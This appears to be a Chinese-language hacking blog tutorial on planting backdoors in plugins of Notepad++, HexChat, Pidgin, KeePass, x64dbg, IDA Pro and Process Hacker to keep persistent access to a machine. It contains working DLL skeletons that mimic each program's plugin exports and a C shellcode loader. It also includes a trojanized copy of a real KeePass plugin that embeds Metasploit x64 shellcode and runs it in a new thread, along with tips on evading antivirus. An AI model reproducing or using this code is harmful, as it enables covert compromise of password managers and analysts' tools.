如何在插件中植入后门

 

一、前言

很早以前我与黑客小伙伴们讨论时就诞生了这个想法,利用插件植入后门是实现持久化驻留的另一种方法。我们为什么不试一下在某些热门程序中植入后门呢?

今天我们先来谈谈如何在一些热门软件的插件中植入后门,目标主要是我电脑上已安装的一些程序。

 

二、Notepad++

第一个目标是Notepad++。出于各种原因,我决定在“mimeTools.dll”种植入后门(这款插件刚好就在那里,看起来也比较“善良”)。

 

我这人喜欢直截了当的方式,因此我会采用汇编方式在这个DLL中植入后门。当然,我们可以直接下载插件模板(或者其他辅助工具)来编译,但这就没有多大乐趣了。如果我们想在exe中添加代码,最好能找到合适的位置。我们的后门载荷是一段shellcode,大小为251个字节。

也就是说,我们需要在目标中找到至少为251字节大小的可用代码洞(cave),否则我们就需要在DLL中添加新的区段(section),我选择使用后一种方式。我们可以尝试修改已有section的标志,但这种方法通常无法奏效,添加新的section可能是更加简单的一种方式。回顾我们之前文章中提到的方法,我们使用“Cff Explorer”添加了新的section。在这里我会添加一个新的section,往里面填充一个文件(可以使用jpeg或者其他文件),之后重建PE头再保存。对了,别忘了将section标志设置为可执行(executable)或者包含代码(contains code),否则跳转到这个section并不会运行我们的代码。另外我还给这个section起了个好名字。

在IDA中打开这个dll,我们可以看到新的代码段以及具体地址。当我们在调试器中打开dll时,我们需要使用这个地址实现长跳转并且粘贴/保存汇编形式的后门shellcode。我在之前的文章中也介绍了这方面内容,如果大家不知道如何处理,可以回头看看那个教程。

现在我们要做的就是将修改后的dll拖拽到notepad++的插件目录中,运行程序即可。接下来就是见证奇迹发生的时刻了:

点击“ok”按钮后Notepad++就会继续运行,但我们可以替换成其他代码,而不是简单地弹出对话框。

如果你不擅长编辑原始dll文件,那么可以考虑自己编写dll文件,但需要确保该文件符合notepad++的代码格式。

代码框架并不复杂,只需要导出几个函数即可:IsUnicodesetInfogetNamegetFuncsArraybeNotified以及messageProc。如果没有导出这些函数,notepad++会弹出警告,并不会运行我们编写的代码:

 

三、Hexchat

第一个目标已成功攻陷,还有更多目标在等着我们。接下来我选择Hexchat这个IRC客户端作为攻击目标(真正的黑客肯定会用到IRC)。

首先我们可以粗略观察一下hexchat中的示例插件,能得到许多信息:

只有一些导出表项。查阅官方文档后,可以发现只需要拷贝这些导出函数即可,操作起来易如反掌。

这一次我们可以使用dll框架代码。模仿另一个插件的导出函数,我们就能实现恶意代码的运行。C语言版本的框架代码如下所示:

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        {
            MessageBoxW(NULL,L"kek",L"wek",MB_OK);
            break;
        }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern __declspec(dllexport) void hexchat_plugin_init(void)
{
    MessageBoxW(NULL,L"Herro Mr hexchat 1",L"joe",MB_OK);
    return;
}
extern __declspec(dllexport) void hexchat_plugin_deinit(void)
{
    MessageBoxW(NULL,L"Herro Mr hexchat 2",L"joe",MB_OK);
    return;
}
extern __declspec(dllexport) void hexchat_plugin_get_info(void)
{
    MessageBoxW(NULL,L"Herro Mr hexchat 3",L"joe",MB_OK);
    return;
}

为什么选择C语言?因为这样可以便于我们使用shellcode。

在C中使用shellcode非常方便,只需要3行代码即可:

#include <stdio.h>
#include <windows.h>
int main(void)
{
    char shellcode[] = "x90x90x90";
    void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();
    return 0;
}

编译成64位dll后,我将该文件拖放到插件目录中(通常位于用户配置目录中)。根据执行结果,貌似程序首先会执行dllmainDLL_PROCESS_ATTACH区域的代码:

接下来程序会启动插件初始化代码,如果时机正好,说不定你可以在IRC中碰到我。

 

四、Pidgin

现在我们可以移步下一个目标。我电脑上也安装了Pidgin即时消息软件,我们可以在上面植入后门。

步骤1:查看导出的dll表项:

步骤2:将这些表项载入框架型dll代码中。需要关注其中的TLS回调函数,我可能会专门写篇文章介绍这方面内容。

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        {
            MessageBoxW(NULL,L"kek",L"wek",MB_OK);
            break;
        }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern __declspec(dllexport) int purple_init_plugin(char *filler, int filler2)
{
    MessageBoxW(NULL,L"Herro Mr Pidgin",L"joe",MB_OK);
    return 1;
}

步骤3:将生成的载荷放入用户配置目录中,等待加载。加载后DLL_PROCESS_ATTACH区域中的代码就会被执行,插件初始化代码看上去似乎只是一种摆设。

步骤4:????

步骤5:大功告成!

 

五、Keepass

接下来让我们大胆一些,试试给Keepass植入后门!这次我们需要使用与前面略微不同的方法,因为Keepass是.NET程序,并非我经常编写的普通原生汇编代码。不用担心,C#非常简单,前面我也介绍过这方面内容。我们可以获取源码来编译,因此就不需要重复造轮子了。我决定“借用”其他人已有的代码,然后再添加恶意代码进行编译。这个插件项目为“QualityColumn”,大家也可以选择使用其他老的插件作为目标。

代码如下:

/*
  KeePass QualityColumn Plugin
  Copyright (C) 2010-2014 Dominik Reichl <dominik.reichl@t-online.de>

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation; either version 2 of the License, or
  (at your option) any later version.

  This program is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with this program; if not, write to the Free Software
  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.Runtime.InteropServices;
using KeePass.Forms;
using KeePass.Plugins;
using KeePass.UI;
using KeePass.Util.Spr;
using KeePassLib;
using KeePassLib.Cryptography;
using KeePassLib.Utility;

namespace QualityColumn
{
    public sealed class QualityColumnExt : Plugin
    {
        [Flags]
        public enum AllocationType
        {
            Commit = 4096,
            Reserve = 8192,
            Decommit = 16384,
            Release = 32768,
            Reset = 524288,
            Physical = 4194304,
            TopDown = 1048576,
            WriteWatch = 2097152,
            LargePages = 536870912
        }
        [Flags]
        public enum AllocationProtect : uint
        {
            PAGE_NOACCESS = 1u,
            PAGE_READONLY,
            PAGE_READWRITE = 4u,
            PAGE_WRITECOPY = 8u,
            PAGE_EXECUTE = 16u,
            PAGE_EXECUTE_READ = 32u,
            PAGE_EXECUTE_READWRITE = 64u,
            PAGE_EXECUTE_WRITECOPY = 128u,
            PAGE_GUARD = 256u,
            PAGE_NOCACHE = 512u,
            PAGE_WRITECOMBINE = 1024u
        }

/*
 * windows/x64/exec - 275 bytes
 * http://www.metasploit.com
 * VERBOSE=false, PrependMigrate=false, EXITFUNC=none,
 * CMD=cmd.exe
 */
byte[] buf = new byte[275] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xaa,0xc5,0xe2,0x5d,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64,
0x2e,0x65,0x78,0x65,0x00 };

        [DllImport("Kernel32.dll")]
        private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param,
           UInt32 dwCreationFlags, ref UInt32 lpThreadId);

        [DllImport("Kernel32.dll")]
        private static extern IntPtr OpenProcess(uint lol, int int_0, int int_1);

        [DllImport("Kernel32.dll", ExactSpelling = true, SetLastError = true)]
        private static extern IntPtr VirtualAllocEx(IntPtr intptr_0, IntPtr intptr_1, IntPtr intptr_2, AllocationType allocationType_0, AllocationProtect allocationProtect_0);

        [DllImport("Kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
          byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesWritten);

        private static IPluginHost m_host = null;
        private QualityColumnProvider m_prov = null;

        internal static IPluginHost Host
        {
            get { return m_host; }
        }

        public override bool Initialize(IPluginHost host)
        {
            Terminate();
            m_host = host;
            if(m_host == null) { Debug.Assert(false); return false; }

            m_prov = new QualityColumnProvider();
            m_host.ColumnProviderPool.Add(m_prov);

            m_host.MainWindow.FileClosed += this.OnFileClosed;

            return true;
        }

        public override void Terminate()
        {
            System.Diagnostics.Process olo = System.Diagnostics.Process.GetCurrentProcess();
            int pid = olo.Id;
            IntPtr hProcess = OpenProcess(0x001F0FFF, 0, pid);
            if (hProcess == IntPtr.Zero)
            {
                throw new Exception("error!");
            }
            IntPtr intPtr = VirtualAllocEx(hProcess, IntPtr.Zero, (IntPtr)buf.Length,
            AllocationType.Commit | AllocationType.Reserve, AllocationProtect.PAGE_EXECUTE_READWRITE);
            int zero = 0;
            IntPtr kek = IntPtr.Zero;
            WriteProcessMemory(hProcess, intPtr, buf, buf.Length, ref zero);
            UInt32 tid = 0;
            CreateThread(0, 0, intPtr, kek, 0, ref tid);

            if(m_host == null) return;

            m_host.MainWindow.FileClosed -= this.OnFileClosed;

            m_host.ColumnProviderPool.Remove(m_prov);
            m_prov = null;

            m_host = null;
        }

        private void OnFileClosed(object sender, FileClosedEventArgs e)
        {
            QualityColumnProvider.ClearCache();
        }
    }

    public sealed class QualityColumnProvider : ColumnProvider
    {
        private const string QcpName = "Password Quality";
        private const string QcpBitsSuffix = " bits";

        private static object m_oCacheSync = new object();
        private static Dictionary<string, uint> m_dCache =
            new Dictionary<string, uint>();

        private string[] m_vColNames = new string[] { QcpName };
        public override string[] ColumnNames
        {
            get { return m_vColNames; }
        }

        public override HorizontalAlignment TextAlign
        {
            get { return HorizontalAlignment.Right; }
        }

        internal static void ClearCache()
        {
            lock(m_oCacheSync)
            {
                m_dCache.Clear();
            }
        }

        public override string GetCellData(string strColumnName, PwEntry pe)
        {
            if(strColumnName == null) { Debug.Assert(false); return string.Empty; }
            if(strColumnName != QcpName) return string.Empty;
            if(pe == null) { Debug.Assert(false); return string.Empty; }

            string strPw = pe.Strings.ReadSafe(PwDefs.PasswordField);

            if(strPw.IndexOf('{') >= 0)
            {
                IPluginHost host = QualityColumnExt.Host;
                if(host == null) { Debug.Assert(false); return string.Empty; }

                PwDatabase pd = null;
                try
                {
                    pd = host.MainWindow.DocumentManager.SafeFindContainerOf(pe);
                }
                catch(Exception) { Debug.Assert(false); }

                SprContext ctx = new SprContext(pe, pd, (SprCompileFlags.Deref |
                    SprCompileFlags.TextTransforms), false, false);
                strPw = SprEngine.Compile(strPw, ctx);
            }

            uint uEst;
            lock(m_oCacheSync)
            {
                if(!m_dCache.TryGetValue(strPw, out uEst)) uEst = uint.MaxValue;
            }

            if(uEst == uint.MaxValue)
            {
                uEst = QualityEstimation.EstimatePasswordBits(strPw.ToCharArray());

                lock(m_oCacheSync)
                {
                    m_dCache[strPw] = uEst;
                }
            }

            return (uEst.ToString() + QcpBitsSuffix);
        }
    }
}

这里我们可以选择如何编译这些代码。Keepass可以接受类库(.NET dll文件),也能接受“plgx”这种自有格式文件。如果选择后一种方式,我们可以更好地隐藏攻击载荷,规避杀毒软件,感谢Keepass提供这个功能!

32位的shellcode无法在我机器上的.NET环境中运行,具体原因不明,不要在意这个细节。

解决办法就是使用64位shellcode,即使宿主程序位32位程序也没问题。

现在我们可以编译攻击代码,在命令行中输入KeePass.exe –plgx-create,会弹出一个对话框让我们选择包含C#工程文件的目录。

只要将生成的plgx文件放入keepass目录中(并不一定要是插件目录),我们的插件就可以伴随keepass一起启动。

 

六、X64dbg

我是非常耿直的人,因此我把目光转向了调试器。X64dbg是我正在使用的调试器,如果你还在使用olly或者immunity,你需要与时俱进,紧跟时代潮流了。

首先我们在CFF Explorer中加载程序(这一次没有使用ida)。

我们需要在dll框架代码中填入3个导出函数:

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        {
            MessageBoxW(NULL,L"hello x64dbg, i am a backdoor.",L"wek",MB_OK);
            break;
        }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern __declspec(dllexport) void pluginit(void)
{
    MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK);
    return;
}
extern __declspec(dllexport) void plugsetup(void)
{
    MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK);
    return;
}
extern __declspec(dllexport) void plugstop(void)
{
    MessageBoxW(NULL,L"i am also a backdoor",L"joe",MB_OK);
    return;
}

为了让x64dbg加载我们的插件,只需要将我们的dll文件重命名为“.dp64”文件,将其放入插件目录中即可。

现在启动调试器,见证奇迹发生:

想象一下,如果某款恶意软件探测到x64dbg正在运行,它将自身副本解封装到插件目录,然后触发调试器崩溃,那么下次调试器运行时恶意软件也能自动运行,可利用的场景还有很多,不一而足。

 

七、IDA Pro

最后的重头戏留给IDA Pro。

我选择的是“COM Helper”这个插件,貌似IDA会自动加载这个插件。

插件文件位于插件目录中,如下所示:

在IDA中打开其中某个文件(有点讽刺意味),我们发现只有一个导出条目:PLUGIN。这样dll代码就比较简单了:

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        {
            MessageBoxW(NULL,L"Hi mr IDA",L"YO",MB_OK);
            break;
        }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern __declspec(dllexport) void PLUGIN(void)
{
    MessageBoxW(NULL,L"Hello IDA. I am a backdoor!",L"joe",MB_OK);
    return;
}

编译dll代码,将其命名为“comhelper.dll”以及“comhelper64.dll”(要确保两个版本的IDA都能加载我们的插件),放入插件目录中即可。程序还是会加载DLL_PROCESS_ATTACH

读到这里,大家会不会担心某些心怀不轨的黑客会窃取这种思路,开始散播带有后门插件的IDA种子?放心,没有人会这么做的。

 

八、Process Hacker

我的主机上还有许多程序可以植入后门插件,比如VLC、Foobar、DropBox、Ifranview、mumble以及Cheat Engine等,但攻击者可能没有那么多时间。如果我们想在目标主机上实现本地持久化,可以考虑以用户每天都使用的某款程序作为目标来植入后门插件,注意要保持隐蔽性。

总之,我们只需要将恶意代码加入主dll文件的入口点中,就能得到运行机会。事实上这种方法对大多数插件来说都是适用的。当然,的确有部分插件预设了一些条件,比如需要使用特定的导出函数名等,但总体而言,我们可以将代码填入DllMain中的DLL_PROCESS_ATTACH区域,这就足以应对大多数情况。提问一下,大家之前有没有用过Process Hacker?

如果我们将任何64位dll放入Process Hacker的“plugins”目录中,不需要做任何处理,程序就会运行我们的代码。这种现象与IDA Pro类似:

对于其他插件,如果这么做不行,我们只需要拷贝导出函数名(只需要匹配函数名,不需要考虑序号),满足预设条件即可,剩下的工作就比较简单了。我觉得我们可以使用病毒或者其他程序来自动化完成这个工作。

 

九、总结

大家可以从这里下载本文用到的所有代码,密码为infected

感谢大家百忙中阅读此文,我还有许多事情要去处理,比如我需要编写64位版本的metasploit模块,需要重写crypter(被误报为“wannacry”),还需要深入学习IOT设备以及网络摄像头方面知识。对了,前面我们留下了一个坑:TLS回调函数,后面我会解决这个问题。

希望大家有个愉快的黑客之旅。

(完)